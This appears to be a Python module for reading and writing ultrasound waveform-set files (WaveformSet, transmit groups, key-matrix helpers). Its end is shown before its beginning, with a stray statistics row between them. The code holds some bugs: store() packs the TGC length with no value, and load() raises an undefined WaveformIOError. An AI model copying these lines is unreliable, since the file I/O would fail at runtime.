f.seek(fsmap + wavemap.nbytes)
fsrec = f.tell()
else:
# Read into a new array
nvals = waveshape[0] * waveshape[1]
try: wavemap = npunpack(dtype, nvals).reshape(waveshape, order='C')
except WaveformSetIOError: break
if not skip_zero_length or wavemap.nbytes != 0:
if force_dtype is not None:
wmap = wavemap.astype(force_dtype)
else: wmap = wavemap
# Add the record to the set
wset.setrecord(hdr, wmap, copy=False)
if not stream_mode and f.tell() != fsrec:
warnings.warn(WaveformSetIOWarning('Junk at end of file'))
if nrx and wset.nrx != nrx:
err = f'Header specifies {nrx} records, but read {wset.nrx}'
if warn_on_error: warnings.warn(WaveformSetIOWarning(err))
else: raise WaveformSetIOError(err)
return wset
@property
def rxidx(self):
'''
Return a list of receive-channel indices in file order.
'''
return list(self._records.keys())
@property
def txgrps(self):
'''
Return the (count, size) of transmit groups, or None for no grouping.
'''
return self._txgrps
@txgrps.setter
def txgrps(self, grps):
'''
Set the group count and length. Removes any existing groupmap
property.
'''
if grps == self._txgrps: return
if self.nrx > 0:
raise ValueError('Cannot change transmit-group configuration with existing records')
if grps is None:
self._txgrps = None
self.groupmap = None
return
try:
grps = TxGroupConfiguration(*grps)
except (TypeError, ValueError):
raise ValueError('Parameter must be None or (count, size) tuple')
if grps.maxtx < self.ntx:
raise ValueError('Implied maximum transmission count is less than number of recorded transmissions')
if grps.maxtx <= self.txstart:
raise ValueError('Implied maximum transmission count is less than starting transmission index')
self._txgrps = grps
self.groupmap = None
@property
def txstart(self):
'''
Return the first transmission index in the records.
'''
return self._txstart
@txstart.setter
def txstart(self, txstart):
'''
Set the first transmission index in the records, which must be
a nonnegative integer within the tranmission range implied by
the group configuration in self.txgrps.
'''
if txstart == self._txstart: return
txstart = strict_nonnegative_int(txstart)
try:
maxtx = self.txgrps.maxtx
except AttributeError:
pass
else:
if txstart >= maxtx:
raise ValueError('Parameter txstart exceeds maxtx of transmit-group configuration')
self._txstart = txstart
@property
def txidx(self):
'''
Return a generator of tranmit-channel indices in file order.
'''
txstart = self.txstart
txgrps = self.txgrps
try:
maxtx = self.txgrps.maxtx
except AttributeError:
for i in range(txstart, txstart + self.ntx):
yield i
else:
for i in range(txstart, txstart + self.ntx):
yield i % maxtx
@txidx.setter
def txidx(self, txidx):
'''
Checks the provided list for sequential ordering of the input
sequence txidx and, if the check is satisfied, assigns
self.txstart and self.ntx accordingly.
If the indices are not sequential, but self.txgrps is None, the
txgrp configuration and self.groupmap will be set to map
transmit indices 0 through len(txidx) - 1 to the elements of
txidx.
'''
txidx = list(txidx)
try: txstart = txidx[0]
except IndexError:
self.ntx = 0
self.txstart = 0
return
try:
maxtx = self.txgrps.maxtx
except AttributeError:
def nextval(x): return (x + 1)
else:
def nextval(x): return (x + 1) % maxtx
last = txstart
sequential = True
for nv in txidx[1:]:
last = nextval(last)
if nv != last:
sequential = False
break
def atomic_set(txstart, ntx):
# Record the old txstart to ensure atomicity
otxstart = self.txstart
self.txstart = txstart
try: self.ntx = ntx
except:
# Restore the old txstart before failing
self.txstart = otxstart
raise
if not sequential:
if self.txgrps is not None:
raise ValueError('Indices must be sequential or wrap when txgrps is defines')
# Set txgrp configuration to remap out-of-sequence indices
atomic_set(0, len(txidx))
self.txgrps = (self.ntx, 1)
self.groupmap = { txi: (0, i) for i, txi in enumerate(txidx) }
else:
atomic_set(txstart, len(txidx))
@property
def ntx(self):
'''
Return the number of transmissions per receive channel.
'''
return self._ntx
@ntx.setter
def ntx(self, ntx):
'''
Set the number of transmissions per receive channel.
'''
# Take no action if the count hasn't changed
if ntx == self._ntx: return
# Don't attempt to change the transmit count with existing records
if self.nrx > 0:
raise ValueError('Cannot change number of transmissions with existing records')
try:
if ntx > self.txgrps.maxtx:
raise ValueError('Number of transmissions must not exceed maxtx implied by transmit-group configuration')
except AttributeError:
pass
self._ntx = strict_nonnegative_int(ntx)
@property
def nrx(self):
'''
Return the number of receive channels in this waveform set.
'''
return len(self._records)
@property
def dtype(self):
'''
Return the datatype used to store waveforms.
'''
return self._dtype
@dtype.setter
def dtype(self, value):
'''
Set the datatype used to store waveforms.
'''
if self._dtype == value: return
if self.nrx > 0:
raise ValueError('Cannot change datatype with existing records')
self._dtype = np.dtype(value)
@property
def nsamp(self):
'''
Return the total number of samples collected in the acquisitions.
'''
return self._nsamp
@nsamp.setter
def nsamp(self, nsamp):
'''
Set the total number of samples in the acquisition window.
Ensure existing records don't fall outside of the window.
'''
if self._nsamp == nsamp: return
# Force the new value to be an nonnegative integer
nsamp = strict_nonnegative_int(nsamp)
# Check all existing records to ensure their windows don't
# extend past the new acquisition window
for hdr, wforms in self.allrecords():
start, length = hdr.win
if start + length > nsamp:
raise ValueError('Acquisition window fails to contain stored waveforms')
# Set the new value
self._nsamp = nsamp
@property
def f2c(self):
'''
Return the fire-to-capture delay in 20-MHz samples.
'''
return self._f2c
@f2c.setter
def f2c(self, val):
'''
Set the fire-to-capture delay in 20-MHz samples.
'''
if self._f2c == val: return
self._f2c = strict_nonnegative_int(val)
@property
def groupmap(self):
'''
Access a copy of the map between global element indices to
tuples (local index, group index) that govern firing order.
'''
return dict(self._groupmap)
@groupmap.setter
def groupmap(self, grpmap):
'''
Check the provided mapping from global element indices to
(local index, group index) for consistency and assign the map
to this instance.
Set grpmap to None or an object with 0 len() to clear the map.
'''
if grpmap is None or len(grpmap) < 1:
self._groupmap = { }
return
if self.txgrps is None:
raise ValueError('Cannot set a group map without a txgrps configuration for the WaveformSet')
# Make sure the map is valid and consistent with txgrp configuration
ngrpmap = { }
for k, v in grpmap.items():
ki = strict_nonnegative_int(k)
vi, vg = [strict_nonnegative_int(vl) for vl in v]
if vi >= self.txgrps.size:
raise ValueError('Local index in group map exceeds txgrp size')
if vg >= self.txgrps.count:
raise ValueError('Group index in group map exceeds txgrp count')
ngrpmap[ki] = (vi, vg)
# Check any local receive-channels for consistence
for hdr in self.allheaders():
if ngrpmap.get(hdr.idx, hdr.txgrp) != hdr.txgrp:
raise ValueError('Group map does not match receive-channel record at index %d' % hdr.idx)
self._groupmap = ngrpmap
def element2tx(self, elt, unfold=True):
'''
Convert an element index elt into a transmission index. If no
transmit-group configuration exists, this is *ALWAYS* the
identity map.
When a transmit-group configuration exists, self.groupmap is
first checked for a transmit index for elt. If the groupmap
does not exist or fails to specify the necessary index, the
txgrp configuration for a receive-channel record for index elt
(if one exists) is used.
If unfold is True, the transmission index is a scalar value
that directly indexes rows in record arrays. If unfold is
False, the transmission index is a pair (locidx, grpnum) that
maps to the unfolded index, t, by
t = locidx + grpnum * self.txgrps.gsize.
'''
elt = strict_nonnegative_int(elt)
try: gcount, gsize = self.txgrps
except TypeError: return elt
try:
txgrp = self._groupmap[elt]
except KeyError:
try: txgrp = self.getheader(elt).txgrp
except KeyError:
raise KeyError('Could not find map record for receive channel %d' % elt)
try:
idx, grp = txgrp
except (TypeError, ValueError) as e:
raise ValueError('Unable to unpack invalid txgrp for channel %d' % elt)
return (grp * gsize + idx) if unfold else (idx, grp)
def tx2row(self, tid):
'''
Convert a transmit-channel index into a waveform-array row index.
'''
# Ensure that the argument is properly bounded
tid = strict_nonnegative_int(tid)
txstart = self.txstart
try: maxtx = self.txgrps.maxtx
except AttributeError: maxtx = None
if maxtx is not None:
if tid >= maxtx:
raise ValueError('Argument tid exceeds self.txgrps.maxtx')
# Shift low values to account for wraparound
if tid < txstart: tid += maxtx
# Shift relative to start
tid -= self.txstart
# Ensure the bounds are sensible
if not 0 <= tid < self.ntx:
raise ValueError('Transmit index is not contained in this file')
return tid
def _get_record_raw(self, rid):
'''
Return the raw (header, data) record for a given receive
channel rid, with only sanity checks on rid.
'''
return self._records[strict_nonnegative_int(rid)]
def getheader(self, rid):
'''
Return the channel header for receive channel rid.
'''
return self._get_record_raw(rid)[0]
def getrecord(self, rid, tid=None, window=None, dtype=None, maptids=False):
'''
Return a (header, waveforms) record for the receive channel
with channel index rid. If window is None and dtype is None,
the waveforms data array is a view of the internal
copy-on-write memory map.
If tid is not None, it should be a scalar integer or an
iterable of integers that represent transmit channel indices to
pull from the waveform array. When tid is a scalar, a 1-D array
is returned to represent the samples for the specified
transmission. When tid is an iterable (even of length 1), a 2-D
array is returned with transmit indices along the rows (in the
order specified by tid) and waveform samples along the columns.
When tid is None, self.txidx is assumed.
If window is not None, it should be a tuple (start, length)
that specifies the first sample and length of the temporal
window over which the waveforms are interpreted. Even if window
matches the internal window in the header, a copy of the
waveform array will be made.
If dtype is not None, the output copy of the waveforms in the
record will be cast to this datatype.
If exactly one of window or dtype is None, the corresponding
value from the record will be used.
To force a copy without knowing or changing the window and
dtype, pass dtype=0.
If maptids is True, any indices specified in tid will be
converted from an element index to a transmission index using
self.element2tx().
'''
# Grab receive record, copy header to avoid corruption
hdr, waveforms = self._get_record_raw(rid)
if maptids and tid is not None:
# Map the transmit indices to element indices
try:
tid = self.element2tx(tid)
except TypeError:
tid = [self.element2tx(t) for t in tid]
try:
tcidx = self.tx2row(tid)
singletx = True
except TypeError:
singletx = False
if tid is None:
tcidx = list(range(self.ntx))
else:
tcidx = [self.tx2row(t) for t in tid]
if window is None:
if dtype is None:
# With no type override, just return a view
return hdr, waveforms[tcidx,:]
else:
# Force a type conversion and copy
if dtype == 0:
dtype = waveforms.dtype
return hdr, waveforms[tcidx,:].astype(dtype, copy=True)
# Handle a specific data window
from .sigtools import Window
window = Window(window)
# Handle unspecified data types
if dtype is None or dtype == 0:
dtype = waveforms.dtype
# Create an output array to store the results
oshape = (1 if singletx else len(tcidx), window.length)
output = np.zeros(oshape, dtype=dtype)
try:
# Figure out the overlapping sample window
# Raises TypeError if overlap() returns None
from pycwp.cutil import overlap
ostart, istart, wlen = overlap(window, hdr.win)
oend, iend = ostart + wlen, istart + wlen
# Copy portion of waveforms overlapping the window
output[:,ostart:oend] = waveforms[tcidx,istart:iend]
except TypeError: pass
# For a scalar tid, collapse the 2-D array
if singletx: output = output[0]
# Override the window in the header copy
return hdr.copy(win=window), output
def getwaveform(self, rid, tid, *args, cyclic=False, **kwargs):
'''
Return, as one or more habis.sigtools.Waveform objects, the
waveform(s) recorded at receive-channel index rid from the
(scalar or iterable of) transmission(s) tid.
If tid is a scalar, a single Waveform object is returned.
Otherwise, if tid is an iterable or None (which pulls all
transmissions), a list of Waveform objects is returned.
The Waveform time reference is the global time reference. In
other words, the Waveform is created from the raw record, then
shifted by self.f2c. If the shift moves the data window past
the end of the window (0, self.nsamp), some of the data will be
clipped. To instead cyclically wrap any samples that would be
clipped, pass cyclic=True to this method.
Extra args and kwargs are passed through to getrecord().
'''
from .sigtools import Waveform
# Grab the relevant row of the record
hdr, wform = self.getrecord(rid, tid, *args, **kwargs)
# Wrap a single desired signal in a Waveform object
if np.ndim(wform) == 1:
wave = Waveform(self.nsamp, wform, hdr.win.start)
wave = wave.shift(self.f2c, cyclic=cyclic)
return wave
else:
warr = [ ]
for w in wform:
wave = Waveform(self.nsamp, w, hdr.win.start)
wave = wave.shift(self.f2c, cyclic=cyclic)
warr.append(wave)
return warr
def delrecord(self, rid):
'''
Delete the waveform record for the receive-channel index rid.
'''
del self._records[strict_nonnegative_int(rid)]
def clearall(self):
'''
Delete all waveform records in the set.
'''
# Just create a new record dictionary
self._records = OrderedDict()
def setrecord(self, hdr, waveforms=None, copy=True):
'''
Save a waveform record consisting of the provided header and
waveform array. If a record for the receive channel specified
in the header already exists, it will be overwritten.
Otherwise, the record will be created.
If the header specifies None for txgrp, but the WaveformSet
transmit-group configuration is not None, any groupmap
associated with the WaveformSet will be searched for a matching
receive-channel index to create a matching txgrp. No other
automatic txgrp manipulation is attempted.
The waveform array must either be a Numpy ndarray or None. When
waveforms takes the special value None, a new, all-zero
waveform array is created (regardless of the value of copy).
If copy is False, a the record will store a reference to the
waveform array if the types are compatible. If copy is True, a
local copy of the waveform array, cast to this set's dtype,
will always be made.
'''
hdr = RxChannelHeader(*hdr)
if self.txgrps is not None:
# Ensure consistency with the group configuration
if hdr.txgrp is None:
# Check the group map for a matching record
try:
txgrp = self.element2tx(hdr.idx, unfold=False)
except (KeyError, TypeError):
raise ValueError('Record is missing required txgrp configuration')
else:
hdr = hdr.copy(txgrp=txgrp)
elif hdr.txgrp.grp >= self.txgrps.count:
raise ValueError('Record group number too large')
elif hdr.txgrp.idx >= self.txgrps.size:
raise ValueError('Record local index too large')
else:
# Ensure consistency with the groupmap
try:
rgrp = self.groupmap[hdr.idx]
except (TypeError, KeyError):
pass
else:
if rgrp != hdr.txgrp:
raise ValueError('Record txgrp does not match groupmap')
elif hdr.txgrp is not None:
raise ValueError('Record contains inappropriate txgrp configuration')
# Check that the header bounds make sense
if hdr.win.end > self.nsamp:
raise ValueError('Waveform sample window exceeds acquisition window duration')
if waveforms is None:
# Create an all-zero waveform array
wshape = (self.ntx, hdr.win.length)
waveforms = np.zeros(wshape, dtype=self.dtype)
else:
try:
if copy or waveforms.dtype != self.dtype:
# Make a copy of the waveform in proper format
raise TypeError('Conversion of dtypes required')
except (AttributeError, TypeError):
waveforms = np.array(waveforms, dtype=self.dtype)
# Pad 0-d and 1-d waveforms to 2-d
if waveforms.ndim < 2:
waveforms = waveforms[[None] * (2 - waveforms.ndim)]
# Check the proper shape of the provided array
ntx, nsamp = waveforms.shape
if ntx != self.ntx:
raise ValueError('Waveform array does not match transmission count for set')
if nsamp != hdr.win.length:
raise ValueError('Waveform array does not match sample count specified in header')
# Add or replace the record
self._records[hdr.idx] = (hdr, waveforms)
def allrecords(self, *args, **kwargs):
'''
Return a generator that fetches each record, in channel-index
order, using self.getrecord(rid, window, dtype).
'''
for rid in sorted(self.rxidx):
yield self.getrecord(rid, *args, **kwargs)
def allheaders(self):
'''
Return a generator that fetches, in channel-index order, only
the receive-channel record headers.
'''
for rid in sorted(self.rxidx):
yield self.getheader(rid)
| 31.377626 | 109 | 0.713556 |
import mmap
import numpy as np
import os
import struct
from itertools import repeat
from collections import OrderedDict
from functools import reduce, partial
import warnings
class ArgparseLoader(object):
def __init__(self, loader, *args, **kwargs):
if not callable(loader):
raise TypeError('Argument "loader" must be callable')
self._loader = loader
self._args = tuple(args)
self._kwargs = kwargs
def __call__(self, string):
from argparse import ArgumentTypeError
try:
return self._loader(string, *self._args, **self._kwargs)
except Exception as err:
message = f'failed to load {string}: {err}'
raise ArgumentTypeError(f'failed to load {string}: {err}')
class WaveformSetIOWarning(UserWarning): pass
class WaveformSetIOError(Exception): pass
def strict_int(x):
ix = int(x)
if ix != x:
raise ValueError('Argument must be integer-compatible')
return ix
def strict_nonnegative_int(x, positive=False):
x = strict_int(x)
if positive and x <= 0:
raise ValueError('Argument must be positive')
elif x < 0:
raise ValueError('Argument must be nonnegative')
return x
def renderAndLoadYaml(data, **kwargs):
from yaml import safe_load
try:
from mako.template import Template
except ImportError:
if kwargs:
raise TypeError('Extra keyword arguments '
'require Mako template engine')
return safe_load(data)
else:
tmpl = Template(text=data, strict_undefined=True)
return safe_load(tmpl.render(**kwargs))
def loadmatlist(files, *a, **k):
if isinstance(files, str):
from glob import glob
files = glob(files)
forcematch = k.pop('forcematch', False)
if forcematch and not files: raise IOError('No matches for glob "files"')
return OrderedDict(sorted(kv for f in files
for kv in loadkeymat(f, *a, **k).items()))
def loadkeymat(f, scalar=None, dtype=None, nkeys=None):
kwargs = { }
if scalar is not None: kwargs['scalar'] = scalar
if dtype is not None: kwargs['dtype'] = dtype
try:
mapping = loadz_keymat(f, **kwargs)
except (ValueError, IOError):
if nkeys is not None: kwargs['nkeys'] = nkeys
return loadtxt_keymat(f, **kwargs)
if nkeys is not None and len(mapping):
key = next(iter(mapping.keys()))
try: nk = len(key)
except TypeError: nk = 1
if nkeys != nk:
raise ValueError('Cardinality of keys in mapping does not match nkeys parameter')
return mapping
def savez_keymat(f, mapping, sortrows=True, compressed=False, comment=None):
if comment is not None: exargs = { 'comment': str(comment) }
else: exargs = { }
keys = sorted(mapping.keys()) if sortrows else list(mapping.keys())
lengths, values = [ ], [ ]
for k in keys:
v = mapping[k]
try:
lengths.append(len(v))
values.extend(v)
except TypeError:
lengths.append(1)
values.append(v)
lengths = np.array(lengths)
values = np.array(values)
try: lv = lengths[0]
except IndexError: lv = 0
if np.all(lengths == lv):
lengths = np.array(lv)
if not np.issubdtype(values.dtype, np.number):
raise TypeError('Values in mapping must be numeric')
keys = np.array(keys)
if not np.issubdtype(keys.dtype, np.integer) or keys.ndim > 2:
raise TypeError('Keys in mapping consist of one more integers and must have consistent cardinality')
savez = np.savez_compressed if compressed else np.savez
savez(f, keys=keys, values=values, lengths=lengths, **exargs)
def loadz_keymat(*args, **kwargs):
scalar = kwargs.pop('scalar', True)
dtype = kwargs.pop('dtype', None)
try:
with np.load(*args, **kwargs) as data:
try:
files = set(data.keys())
try: files.remove('comment')
except KeyError: pass
if files != { 'keys', 'values', 'lengths' }: raise ValueError
except (AttributeError, ValueError):
raise ValueError('Unrecognized data structure in input')
keys = data['keys']
values = data['values']
lengths = data['lengths']
except AttributeError:
raise ValueError('Invalid file format')
if dtype is not None:
values = values.astype(dtype)
if not np.issubdtype(keys.dtype, np.integer) or not 0 < keys.ndim < 3:
raise ValueError('Invalid mapping key structure')
if not np.issubdtype(lengths.dtype, np.integer) or lengths.ndim > 1:
raise ValueError('Invalid mapping length structure')
if not np.issubdtype(values.dtype, np.number) or values.ndim != 1:
raise ValueError('Invalid mapping value structure')
if lengths.ndim == 1 and len(lengths) != len(keys):
raise ValueError('Mapping lengths and keys do not have equal lengths')
nvals = np.sum(lengths) if lengths.ndim == 1 else (lengths * len(keys))
if len(values) != nvals:
raise ValueError('Mapping values do not have appropriate lengths')
if scalar:
if lengths.ndim == 0:
scalar = lengths == 1
else:
scalar = (lengths.shape[0] > 0 and
all(lv == 1 for lv in lengths))
try: keys = keys.squeeze(axis=1)
except ValueError: pass
if keys.ndim == 2:
keys = [ tuple(k.tolist()) for k in keys ]
else:
keys = [ k.tolist() for k in keys ]
mapping = OrderedDict()
start = 0
for key, lv in zip(keys, lengths if lengths.ndim == 1 else repeat(lengths)):
mapping[key] = values[start] if scalar else values[start:start+lv]
start += lv
return mapping
def loadtxt_keymat(*args, **kwargs):
nkeys = strict_nonnegative_int(kwargs.pop('nkeys', 1), positive=True)
scalar = kwargs.pop('scalar', True)
kwargs['ndmin'] = 2
mat = np.loadtxt(*args, **kwargs)
_, ncol = mat.shape
if nkeys >= ncol:
raise ValueError('Number of key columns must be less than number of columns in matrix')
def kvmaker(g):
k = tuple(strict_int(gv) for gv in g[:nkeys])
v = g[nkeys:]
if len(k) < 2: k = k[0]
if scalar and len(v) < 2: v = v[0]
return k, v
return OrderedDict(kvmaker(g) for g in mat)
def savetxt_keymat(*args, **kwargs):
if len(args) > 1:
x = args[1]
else:
x = kwargs.pop('X')
sortrows = kwargs.pop('sortrows', True)
def aslist(x):
try: return list(x)
except TypeError: return list([x])
rows = iter(x.items()) if not sortrows else sorted(x.items())
mat = [ aslist(k) + aslist(v) for k, v in rows ]
if len(args) > 1:
args = tuple(a if i != 1 else mat for i, a in enumerate(args))
else:
kwargs['X'] = mat
np.savetxt(*args, **kwargs)
def findenumfiles(dir, prefix='.*?', suffix='', ngroups=1):
from os.path import join
from re import compile as recomp
if ngroups < 1:
raise ValueError('At least one number group must be specified')
numstr = '-([0-9]+)' * ngroups
grpidx = tuple(range(ngroups + 1))
regexp = recomp(r'^%s%s%s$' % (prefix, numstr, suffix))
return [tuple([join(dir, f)] + [int(g) for g in m.group(*grpidx)[1:]])
for f in os.listdir(dir) for m in [regexp.match(f)] if m]
def specreptype():
return np.dtype([('val', np.complex64), ('idx', np.int64)])
def splitspecreps(a):
start = 0
output = []
while start < len(a):
nvals = a[start]['idx'] + 1
if nvals < 1: raise ValueError('Spectral representation counts must be positive')
grp = a[start:start+nvals]
if len(grp) < nvals: raise ValueError('Could not read specified number of records')
output.append(a[start:start+nvals])
start += nvals
return output
def countspecreps(f):
dtype = specreptype()
infile = open(f, 'rb')
infile.seek(0, os.SEEK_END)
fend = infile.tell()
infile.seek(0, os.SEEK_SET)
n = []
while (infile.tell() < fend):
nrec = np.fromfile(infile, dtype=dtype, count=1)[0]['idx']
n.append(nrec + 1)
infile.seek(nrec * dtype.itemsize, os.SEEK_CUR)
return n
def repreducer(n):
def reducefunc(mat): return mat[mat[:,1].astype(int) == n]
return reducefunc
def readfirecapture(f, reducer=None):
from pandas import read_csv
data = read_csv(f, skiprows=4, header=None).values
try: data = reducer(data)
except TypeError: pass
idx = sorted((d[0], d[1], i) for i, d in enumerate(data[:,:2]))
data = data[[v[-1] for v in idx]]
def counter(x, y):
try: x[0][y[0]] += 1
except KeyError: x[0][y[0]] = 1
try: x[1][y[1]] += 1
except KeyError: x[1][y[1]] = 1
return x
channels, repetitions = reduce(counter, idx, ({}, {}))
if len(set(channels.values())) != 1:
raise ValueError('All channels must have the same number of reptitions')
if len(set(repetitions.values())) != 1:
raise ValueError('Each channel must have same set of reptition indices')
channels = sorted(channels.keys())
repetitions = sorted(repetitions.keys())
nchan = len(channels)
nreps = len(repetitions)
nsamps = data.shape[-1] - 2
return data[:,2:].reshape((nchan, nreps, nsamps)), channels, repetitions
def readfiresequence(fmt, findx, reducer=None):
data = [readfirecapture(fmt.format(f), reducer=reducer)[0][np.newaxis,:,:,:]
for f in findx]
return np.concatenate(data, axis=0)
class TxGroupIndex(tuple):
def __new__(cls, lidx, gidx):
lidx = strict_nonnegative_int(lidx)
gidx = strict_nonnegative_int(gidx)
return tuple.__new__(cls, (lidx, gidx))
@property
def idx(self): return self[0]
@property
def grp(self): return self[1]
def signForTx(self, transmission, group):
if group != self.grp: return 0
# Count number of common bits in transmission and idx
txcom = strict_nonnegative_int(transmission) & self.idx
count = 0
while txcom:
txcom &= txcom - 1
count += 1
# Sign is +1 for even number of common bits
return 1 - 2 * (count % 2)
class TxGroupConfiguration(tuple):
def __new__(cls, count, size):
count = strict_nonnegative_int(count)
size = strict_nonnegative_int(size)
return tuple.__new__(cls, (count, size))
@property
def count(self): return self[0]
@property
def size(self): return self[1]
@property
def maxtx(self): return self[0] * self[1]
class RxChannelHeader(tuple):
def __new__(cls, idx, pos, win, txgrp=None):
from .sigtools import Window
idx = strict_nonnegative_int(idx)
px, py, pz = pos
pos = tuple(float(p) for p in (px, py, pz))
# Force the window start to be nonnegative
win = Window(win, nonneg=True)
if txgrp is not None: txgrp = TxGroupIndex(*txgrp)
return tuple.__new__(cls, (idx, pos, win, txgrp))
@property
def idx(self): return self[0]
@property
def pos(self): return self[1]
@property
def win(self): return self[2]
@property
def txgrp(self): return self[3]
def copy(self, **kwargs):
keys = ['idx', 'pos', 'win', 'txgrp']
props = dict((key, kwargs.pop(key, getattr(self, key))) for key in keys)
if len(kwargs):
raise TypeError("Unrecognized keyword '%s'" % (next(iter(kwargs.keys())),))
return type(self)(**props)
class WaveformSet(object):
# A bidirectional mapping between typecodes and Numpy dtype names
from pycwp.util import bidict
typecodes = bidict({b'I2': 'int16', b'I4': 'int32', b'I8': 'int64', b'F2': 'float16',
b'F4': 'float32', b'F8': 'float64', b'C4': 'complex64', b'C8': 'complex128'})
@staticmethod
def _get_open(f=None, compression=None):
import bz2, gzip
openers = { 'bz2': bz2.open, 'gzip': gzip.open, '': open }
if not f:
compression = (compression or '').strip().lower()
errmsg = 'Value of compression must be None, "gzip" or "bz2"'
else:
try: import magic
except ImportError: mime = ''
else: mime = magic.Magic(mime=True).from_file(f).lower()
compression = { 'application/x-gzip': 'gzip',
'application/x-bzip2': 'bz2' }.get(mime, '')
errmsg = 'Unable to determine file compression scheme'
try: return (openers[compression], compression != '')
except KeyError: raise ValueError(errmsg)
@classmethod
def fromwaveform(cls, wave, copy=False, hdr=None, rid=0, tid=0, f2c=0):
# Create the set
wset = cls(1, tid, wave.nsamp, f2c, wave.dtype)
if hdr is None:
# Create a default header
hdr = RxChannelHeader(rid, [0.]*3, wave.datawin)
else:
# Ensure hdr is RxChannelHeader, then set datawin
hdr = RxChannelHeader(*hdr).copy(win=wave.datawin)
wset.setrecord(hdr, wave.getsignal(wave.datawin), copy)
return wset
@classmethod
def empty_like(cls, wset, with_context=True):
nwset = cls(wset.ntx, wset.txstart, wset.nsamp, wset.f2c, wset.dtype, wset.txgrps)
if with_context: nwset.context = wset.context.copy()
else: nwset.context = { }
return nwset
def __init__(self, ntx=0, txstart=0, nsamp=4096, f2c=0,
dtype=np.dtype('int16'), txgrps=None):
# Record the waveform dtype
self._dtype = np.dtype(dtype)
# Prepopulate properties that will be validated later
self._f2c = 0
self._nsamp = 0
self._ntx = 0
self._txstart = 0
self._txgrps = None
# Create an empty, ordered record dictionary
# Needed for validation of other properties
self._records = OrderedDict()
# Create an empty group map
self._groupmap = { }
# Assign validated properties
self.nsamp = nsamp
self.f2c = f2c
# Build and validate the transmit-channel mapping
self.ntx = ntx
self.txstart = txstart
# Initialize the group configuration as specified
self.txgrps = txgrps
# Extra scan context can be read from a file header and is
# passed on when writing compatible versions, but is never
# inherently interpreted
self.context = { }
@classmethod
def _verify_file_version(cls, version, write=False):
try:
major, minor = version
major = strict_nonnegative_int(major)
minor = strict_nonnegative_int(minor)
except (TypeError, ValueError):
raise ValueError('Version format is not recognized')
if major != 1: raise ValueError('Unsupported major version')
if not write:
# Support all currently defined formats for reading
if not (0 <= minor < 7):
raise ValueError('Unsupported minor version for reading')
return (major, minor)
# Only version-6 writes are supported
if minor != 6:
raise ValueError('Unsupported minor version for writing')
return major, minor
def store(self, f, append=False, ver=(1,6), compression=None):
# Open the file if it is not open
if isinstance(f, str):
opener, compressed = self._get_open(None, compression)
if compressed and append:
raise ValueError('Append mode with compression is not supported')
f = opener(f, ('ab' if append else 'wb'))
# Verify that the output version is supported
major, minor = self._verify_file_version(ver, write=True)
# A missing transmit-group configuration takes the special value (0,0)
try: gcount, gsize = self.txgrps
except (TypeError, ValueError): gcount, gsize = 0, 0
if not append:
# Encode the magic number and file version
hbytes = struct.pack('<4s2I', b'WAVE', major, minor)
# Encode temperature values
temps = self.context.get('temps', [float('nan')]*2)
hbytes += np.asarray(temps, dtype=np.float32).tobytes()
# Encode the datatype
typecode = self.typecodes.inverse[np.dtype(self.dtype).name][0]
hbytes += struct.pack('<2s', typecode)
# Encode transmission parameters
hbytes += struct.pack('<4I2HI', self.f2c, self.nsamp,
self.nrx, self.ntx, gcount, gsize, self.txstart)
try:
# Make sure TGC is a 1-D array
tgc = np.asarray(self.context['tgc'], dtype=np.float32).squeeze()
except KeyError:
# Header contains no TGC records
hbytes += struct.pack('<I', 0)
else:
if tgc.ndim != 1:
raise ValueError('TGC must be a 1-D array of floats')
hbytes += struct.pack('<I')
hbytes += tgc.tobytes()
f.write(hbytes)
# Write each record in turn
for idx in sorted(self.rxidx):
hdr, waveforms = self._get_record_raw(idx)
if idx != hdr.idx:
raise ValueError('Record index does not match receive-channel index')
px, py, pz = hdr.pos
ws, wl = hdr.win
# Without a transmit-group configuration, use (0,0)
try: li, gi = hdr.txgrp
except (TypeError, ValueError): li, gi = 0, 0
# Enclode the receive-channel header
hbytes = struct.pack('<3I3f2I', idx, li, gi, px, py, pz, ws, wl)
f.write(hbytes)
# Encode the waveform data
wbytes = waveforms.tobytes()
f.write(wbytes)
f.flush()
@staticmethod
def _funpack(f, fmt):
try:
sz = struct.calcsize(fmt)
return struct.unpack(fmt, f.read(sz))
except Exception as err:
raise WaveformSetIOError(f'Failure to unpack bytes: {err}')
@staticmethod
def _npunpack(f, dtype, count):
if count < 0:
raise ValueError(f'Cannot read {count} bytes into Numpy array')
elif count < 1:
return np.array([], dtype=dtype)
dtype = np.dtype(dtype)
try:
rbytes = f.read(dtype.itemsize * count)
return np.frombuffer(rbytes, dtype, count)
except Exception as err:
raise WaveformSetIOError(f'Failure to read array: {err}')
@classmethod
def load(cls, f, force_dtype=None, allow_duplicates=False,
skip_zero_length=True, warn_on_error=True,
header_only=False, stream_mode=False):
# Open the file if it is not open
if isinstance(f, str):
opener, compressed = cls._get_open(f)
f = opener(f, mode='rb')
# Force stream mode for compressed input
if compressed: stream_mode = True
# Convenience: attach the file to funpack and npunpack
funpack = partial(cls._funpack, f)
npunpack = partial(cls._npunpack, f)
# Read the magic number and file version
try:
magic, major, minor = funpack('<4s2I')
if magic != b'WAVE': raise WaveformSetIOError
except WaveformSetIOError:
raise WaveformSetIOError('Unable to identify WAVE header')
try: major, minor = cls._verify_file_version((major, minor))
except ValueError as err:
raise WaveformSetIOError(f'Unsupported WAVE format: {err}')
# Create some empty context
context = { }
if minor > 4:
# Read temperature context
try: context['temps'] = npunpack('float32', 2)
except WaveformSetIOError as err:
raise WaveformSetIOError(f'Invalid temperature: {err}')
# Read the type code for this file
try:
typecode = funpack('<2s')[0]
dtype = np.dtype(cls.typecodes[typecode])
except (WaveformSetIOError, KeyError) as err:
raise WaveformSetIOError(f'Invalid typecode: {err}')
if force_dtype is not None:
# Force a dtype conversion, if necessary
force_dtype = np.dtype(force_dtype)
if force_dtype == dtype: force_dtype = None
# Parse common transmission parameters
f2c, nsamp, nrx, ntx = funpack('<4I')
# By default, start the transmission indexing at 0
txstart = 0
# Clear any group configuration for now
txgrps = None
if minor > 1:
# Read the group configuration
count, size = funpack('<2H')
# Make sure both values are sensible integers
count = strict_nonnegative_int(count)
size = strict_nonnegative_int(size)
# Only configure transmit groups if the count is positive
if count > 0:
# Default group size, if unspecified, is 10240 / count
if size == 0:
size = 10240 // count
if size * count != 10240:
msg = f'Unable to infer size for {count} groups'
raise WaveformIOError(msg)
txgrps = count, size
# For version (1,4) and above, read an explicit txstart
if minor >= 4: txstart = funpack('<I')[0]
# Minor versions below 6 used fixed 256-value TGC records
if minor < 6: rcount = 256
else: rcount = funpack('<I')[0]
if rcount:
